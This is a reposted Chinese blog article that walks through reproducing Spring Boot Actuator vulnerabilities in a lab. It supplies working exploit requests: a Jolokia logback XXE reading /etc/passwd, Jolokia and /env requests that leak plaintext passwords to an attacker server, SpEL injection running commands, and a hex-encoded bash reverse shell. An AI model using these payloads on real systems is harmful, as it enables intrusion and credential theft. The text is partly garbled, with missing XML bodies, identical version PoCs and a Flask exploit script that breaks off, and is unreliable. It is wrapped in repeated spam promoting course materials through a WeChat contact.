小工具知识网

当前位置: 首页 > 行业知识 > SpringBoot历史漏洞复现

行业知识

SpringBoot历史漏洞复现

2026-11-10 22:49:52 来源:互联网转载

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)

正文

python .\SB-Actuator.py -u http://192.168.42.132:8090

![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/72f9d962e11ee22d.webp)> > 2.访问网站的/jolokia/list 目录,查找是否存在logback 库提供的reloadByURL方法,如果有,那就证明可利用该漏洞。> > > ![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/09e6994c646cf434.webp)###### 复现过程> > 1.如果找到存在reloadByURL方法,就在攻击机上创建一个logback.xml,一个ian.dtd文件。> > > 

//logback.xml

%remote;%int;]>

&trick;

 

//ian.dtd

> > 2.创建完成后,在他们两个的当前目录开启http服务,用于后续请求。> > > > > 3.访问网站,构造payload对攻击机上的文件进行请求。> > > 

http://192.168.42.132:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.42.132:8000!/logback.xml

> > 4.攻击机上发现文件被访问到,然后在网页上可看见/etc/passwd文件的内容。(ian.dtd 内还可以修改为其他攻击者想访问到的文件)> > > ![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/799c4f61c4946299.webp)/etc/password文件的内容![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/4aa0de42ef92dcb5.webp)##### 漏洞利用-env敏感信息脱星###### 复现过程(方法一)利用条件:目标网站存在/jolokia 或者 /actuator/jolokia接口   目标使用了jolokia-core以来> > 1.访问http://ip:8090/env 可以查看到直接泄露的环境变量、内网地址、配置中的用户名等信息,也有可能暴露明文密码。> > > ![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/2a4dc93bbac8fb8f.webp)> > 2.找到属性名,使用bp抓包,抓/jolokia的包,发送到重发模块,修改包为post请求,把传输的变量改json,然后加上下面的poc,重放这个包,明文值结果包含 在 response 数据包中的 value 键中。  >  注意:每个1.x 版本和2.x 版本不同。> > > 

//spring 1.x

{

“mbean”:

“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,

“operation”: “getProperty”,

“type”: “EXEC”,

“arguments”: [“security.user.password”],

}

//spring 2.x

{

“mbean”:

“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,

“operation”: “getProperty”,

“type”: “EXEC”,

“arguments”: [“security.user.password”],

}

![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/0decb59178233ea7.webp)![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/4693212da704e7ec.webp)###### 复现过程(方法二)**利用的条件:**   可以 GET 请求目标网站的 /env   可以 POST 请求目标网站的 /env   可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)   目标使用了 spring-cloud-starter-netflix-eureka-client 依赖   目标可以请求攻击者的服务器(请求可出外网)> > 1.先用Bp去看 env接口是否可以get post 请求成功,返回状态码为成功,然后再测试/refresh 接口 的post请求,都可以的话,就可以尝试进行攻击。> > > > > 2.使用bp抓访问/env的包,构造攻击请求,重发过去。版本不同,poc也不同> > > 

//1.x

POST /env

Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

//spring 2.x

POST /actuator/env

Content-Type: application/json

{“name”:“eureka.client.serviceUrl.defaultZone”,“value”:“http://value:${security. user.password}@your-vps-ip”}

![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/cf040a64ce9b8167.webp)> > 3.监听80端口,然后bp进行发送后,访问/refresh,进行刷新,会直接监听得到信息,然后进行base64解码就可以看见密码。> > > ![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/635bb019cbd722e9.webp)![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/01643ae9271b52b9.webp)##### 远程代码执行###### whitelabel error page SpEL RCE###### 环境搭建https://github.com/LandGrey/SpringBootVulExploit   下载下来后,进入SpringBootVulExploit/repository/springboot-spel-rce/src/main/resources/application.properties 去修改,然后编译运行,然后访问9091端口,会看见搭建成功的默认的404页面。

server.port=9091

#server.address=127.0.0.1

server.address=0.0.0.0

//编译启动

mvn spring-boot:run

![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/15fda722138affe5.webp)![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/99a26c67e5ec5973.webp)###### 利用条件spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0   至少知道一个触发 springboot 默认错误页面的接口及参数名###### 漏洞原理1. spring boot **处理参数值**出错,流程进 入 org.springframework.util.PropertyPlaceholderHelper 类中2. 此时 URL 中的参数值会用 **parseStringValue**方法进行递归解析3. 其中 ${} 包围的内容都会 被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类 的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞###### 复现过程> > 1.找到一个正常传参处,比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后 续 payload 都将会在参数 id 处尝试。> > > > > 2.执行 SpEL 表达式。输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基 本可以确定目标存在 SpEL 表达式注入漏洞。> > > ![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/c3f17fe181f240f8.webp)> > 3.由字符串格式转换成 0x\*\* java 字节形式,方便执行任意代码。先将字符的命令转换成字节的,然后payload通过Java的**getruntime().exec**命令去执行 new String (new byte[])转成的字符命令。> > > 

//转字节的脚本

coding: utf-8

result = “”

target = ‘touch /tmp/mingy’

for x in target:

result += hex(ord(x)) + “,”

print(result.rstrip(‘,’))

//执行payload

http://127.0.0.1:9091/article? id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[] {0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x6d,0x69,0x6e,0x67,0x79 }))}

![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/87655f1c20a5376b.webp)利用touch命令在tmp目录下创建mingy的文件![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/5cf4eebb1e30375c.webp)> > 2.执行反弹shell 的操作,先转成base64 的形式,然后再转成0x 字节的形式,访问payload,在攻击机上开启监听6666端口,执行后,可以看到返回的shell,直接在其目录下了。> > > 

//反弹Shell

bash -i >& /dev/tcp/192.168.42.138/6666 0>&1

//转化的格式base

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

//payload

http://192.168.42.132:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[] {0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x51,0x79,0x4c,0x6a,0x45,0x7a,0x4f,0x43,0x38,0x32,0x4e,0x6a,0x59,0x32,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/83bfa8a83f15dd04.webp)![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/3802dfb0ca1d18cc.webp)###### eureka xstream deserialization RCE###### 环境搭建修改 SpringBootVulExploit/repository/springboot-eureka-xstreamrce/src/main/resources/application.properties

erver.port=9093

#server.address=127.0.0.1

server.address=0.0.0.0

mvn spring-boot:run

![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/0e9c9a6e1c97bcc6.webp)搭建成功![请添加图片描述](https://m.xiaogongju.com.cn/uploads/202511/07/265d1f04ec223179.webp)###### 利用条件可以 POST 请求目标网站的 /env 接口设置属性   可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)   目标使用的 eureka-client  > 1.架设响应恶意 XStream payload 的网站  >  提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反 弹shell。 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址 和 端口号。> > > > > 2.在脚本的command中输入base64 转码的shell,然后在攻击机上搭建恶意网站,利用python3 server.py 开启。> > > 

//反弹shell脚本

#!/usr/bin/env python

coding: utf-8

-- Author: LandGrey --

from flask import Flask, Response

app = Flask(name)

@app.route(‘/’, defaults={‘path’: ‘’})

@app.route(‘/path:path’, methods=[‘GET’, ‘POST’])

def catch_all(path):

xml = “”"

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

//img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)

[外链图片转存中…(img-yTSj4IpJ-1713175561720)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

上一篇:买了服务器怎么架设手游?

下一篇:轻松制作网站地图,详细步骤指南!